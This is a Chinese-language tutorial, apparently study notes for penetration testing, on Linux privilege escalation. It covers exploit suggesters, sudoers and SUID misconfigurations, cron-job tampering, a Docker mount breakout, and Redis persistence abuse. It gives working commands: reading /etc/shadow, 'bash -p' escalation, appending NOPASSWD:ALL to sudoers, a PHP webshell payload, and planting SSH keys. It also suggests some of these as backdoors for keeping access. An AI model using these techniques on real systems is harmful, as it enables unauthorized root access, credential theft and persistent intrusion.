提权——Linux
一、系统漏洞提权
#kali的nmap命令
nmap -O 目标ip
通过当前系统的内核版本搜索当前系统的漏洞,进行利用 搜索漏洞
对linux系统的漏洞进行利用(脏牛、脏管道等)
利用漏洞搜索工具,搜索当前系统是否存在一些漏洞
linux-exploit-suggester-master
下载地址 :GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool
解压缩之后,执行他的
.sh
文件 ,会把当前系统的所有漏洞搜索出来。linux-smart-enumeration-master
下载地址 :GitHub - diego-treitos/linux-smart-enumeration: Linux enumeration tool for pentesting and CTFs with verbosity levels
解压缩之后,执行他的
.sh
文件 ,会把当前系统的所有漏洞搜索出来。MSF提权辅助工具
MSF中有一个模块,叫后渗透测试模块(POST),其中这个模块就可以提供提权 。
进入msf中 ,搜索
suggester
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > search suggester Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester利用这个后渗透测试模块,进行搜索 可用的提权漏洞 。
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > use 0 msf6 post(multi/recon/local_exploit_suggester) > show options Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed description for the available exploits 设置session后运行
二、系统配置提权
1、soduer提权
(1)漏洞产生原因
当一个普通用户被创建出来时,在执行某些任务时可能需要执行某些命令的权限,管理员可能为了省去麻烦直接将可以执行所有命令权限赋值给这个普通用户。
且在 /etc/sudoers
文件中设置权限,给普通用户所有权限:
dong ALL=(ALL) NOPASSWD:ALL #设置所有权限
dong ALL=(ALL) NOPASSWD:/usr/bin/firewall-cmd #设置操作防火墙的命令权限,只需要知道该命令所在的位置
(2)利用漏洞
在普通账户操作的时候,可以在命令前加一个 sudo
就可以像root账户一样的操作 。
sudo /etc/shadow
(3)复现
第一步:
查看当前有哪些用户
cat /etc/passwd
创建一个新用户
useradd 新用户名
给新用户设置密码
第二步:
给Sun_happy赋予执行所有命令的权限
在/etc/sudoers中设置
chmod u+x sudoers #这个文件只有root可以写,因此不能使用chmod 777
命令:
Sun_happy ALL=(ALL) NOPASSWD:ALL #设置所有权限
第三步:
在普通账户操作的时候,可以在命令前加一个
sudo
就可以像root账户一样的操作 。命令:
sudo /etc/shadow
从真实情况来看,sudoers提前其实作用不大,且难以实现,但是该方法是一个非常适合维持权限的方法。
2、suid提权
(1)suid工作机制
Linux进程在运行的时候有以下三个UID:
Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。
也就是不论是root还Sun_happy都是没有区别的
Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。
Set UID:Set owner User ID up on execution,它允许用户执行的文件以该文件的拥有者的身份运行,也就是说可以越权执行命令。主要设置于 chmod 命令中第user第3位。
(2)bash
分析bash:
如果我们将suid权限设置到bash上,那么不论是谁执行他都算是属主在执行。
操作
#给bash命令加上suid权限
chmod u+s bash
#利用赋予了s权限的bash来使得普通用户浏览管理员才能查看的文件
sudo Sun_happy #转到普通用户
id #查看id
bash -p #将euid改为root
cat /etc/shadow #浏览管理员才能查看的文件
但是这种寄希望于管理员将suid赋予错误的可能性太小,也是只适合修后门维持权限。
(3)检查系统文件s权限
不具危险性的s权限的赋予
linux系统本身 就有一部分指令具有s权限,这些指令不会有安全问题 :
/usr/libexec/pt_chown
/usr/libexec/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/crontab
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chage
/usr/bin/sudo
/usr/sbin/usernetctl
/bin/ping
/bin/ping6
/bin/mount
/bin/su
/bin/umount
/bin/fusermount
/sbin/pam_timestamp_check
/sbin/unix_chkpwd
具有危险性的s权限的赋予(检查系统配置漏洞时重点关注的对象)
chmod u+s /bin/bash $ bash -p
chmod u+s /bin/sh $ sh -p
chmod u+s /bin/env $ env /bin/sh -p
chmod u+s /bin/vi $ vi /etc/shadow
chmod u+s /bin/awk $ awk '{print $0}' /etc/shadow
chmod u+s /bin/cat $ cat /etc/shadow
chmod u+s /usr/bin/curl $ curl file:///etc/shadow
chmod u+s /bin/find $ find /etc/passwd -exec cat /etc/shadow \;
find /etc/passwd -exec bash -p \;
3、定时器提权
(1)定时器的使用
定时器是我们linux中的一个命令,他可以让我们的命令按照我们设置的时间 去定时运行 :
#定时规则
* * * * *
- - - - -
| | | | |
| | | | +----- 星期中星期几 (0 - 6) (星期天 为0)
| | | +---------- 月份 (1 - 12)
| | +--------------- 一个月中的第几天 (1 - 31)
| +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)#查看已有的定时任务
crontab -l
#创建定时任务
crontab -e
(2)创建一个执行文件
代码如下:
curl http://192.xxx.xxx.xxx/dashboard/phpinfo.php > /dev/null
if [ $? -ne 0 ]; then
/opt/lampp/lampp start
echo "检测到lampp没有启动,已经完成启动 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fi
firewall-cmd --list-port | grep 80
if [ $? -ne 0 ]; then
firewall-cmd --add-port=80/tcp
echo "检测到80端口没有通过,已经完成添加 - "`date "+%Y-%m-%d %H:%M:%S"` >> /home/Sun_happy/data/site_check.log
fi
解释:
访问http://192.xxx.xxx.xxx/dashboard/phpinfo.php
(2)创建一个定时器任务
crontab -e
*/1 * * * * /home/Sun_happy/mysite.sh
#检查定时任务是否创建成功
#查看日志
(3)定时任务危险性
对于上面的mysite.sh可执行文件来说,其所含的内容是没有危害的,但是稍作修改就会有很大的危害。
危害代码添加:
#在mysite.sh文件中添加:将s权限赋值给bash
chmod u+s /usr/bin/bash
#检测
#在mysite.sh文件中添加:使普通用户拥有执行所有命令的权限
echo Sun_happy ALL=(ALL:ALL) NOPASSWD:ALL >> /etc/sudoers
#检测
4、docker容器提权
查看是否有docker组 -> 查看当前获取到的普通用户是否在docker组里面 -> 如果在,创建一个容器,并把etc目录挂载到宿主机的etc目录 -> 修改/etc/passwd中的普通用户id为0
例如 :拉取一个centos 容器
docker search centos
docker pull centos
docker images
docker run -it --privileged=true -v /etc:/etc [镜像id] /bin/bash docker run -it --privileged=true -v /etc:/etc 5d0da3dc9764 /bin/bash #docker -i 前端交互模式 -t tty终端显示 privileged配置容器内部拥有最高权限,-v挂载,前面的etc是物理机的文件夹,后面的etc是容器内部的文件夹,b8dfe9ade316是镜像id,/bin/bash是容器进入后的shell环境。
此时,容器内部的/etc目录和物理机的一一同步对应的,可选直接echo最加:
echo `wugd ALL=(ALL) NOPASSWD:ALL` >> /etc/sudoers
最后,直接用sudoers提权方式提权即可。
三、第三方软件提权(redis)
1、利用持久化文件提权
在redis中,持久化的路径以及持久化文件的名字都可以修改 ,那么可以就可以使用 持久化做webshell .
首先 当前系统需要有web(php、jsp、asp等)环境 。
(1)修改持久化文件路径
#查询当前web环境的路径
# /opt/lampp/htdocs/security config set dir /opt/lampp/htdocs/security
(2)修改持久化文件名字
#根据web环境 进行确定文件名
config set dbfilename shell.php
(3)向持久化文件中写入木马
set 1 "<?php assert($_POST[1]);?>" #持久化 save
(4)测试
2、利用公钥和私钥登录
(1)生成公钥和私钥
ssh-keygen -t rsa
(2)设置redis的持久化文件的路径和名字
config set dir /root/.ssh # 设置路径 如果当前root下 没有`.ssh` 自己创建一个
config set dbfilename authorized_keys # 设置持久化文件的名字
save
(3)把公钥内容存储到持久化文件中
set 1 "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ISztK16CwYNbXoeWPtkT/4sxDQsXZ9+wYP3jTb49qS1x2AMedTOsEfK+4toIOk43UcT5PnSpve9Dr2i5qD+QMkQmv+PQ5Uy0MvF602jEol7JqgENuzgIxEdqjHooBIgK7xkRw438bUNQG6qZzhQic7l5AisxOGi9I472x5d9IbDp+W5goK+n2ZRtdX4uUeRBm/V8EAOvWUBQwXfDnu9F3B//gSrgbkTRvX/uOduo3hdRpBVuCmJBwOhS3+AZkEoymuascoQHelKcy5RdF/9sj/It2PhcX0+8ydCV6GTlityHmCZO2H1vnjfj4p6nZEW3xavQrw9g3tmVwRK4nov3 administrator@DESKTOP-MKGGU1P\n\n"
(4)在生成公钥和私钥的windows上登录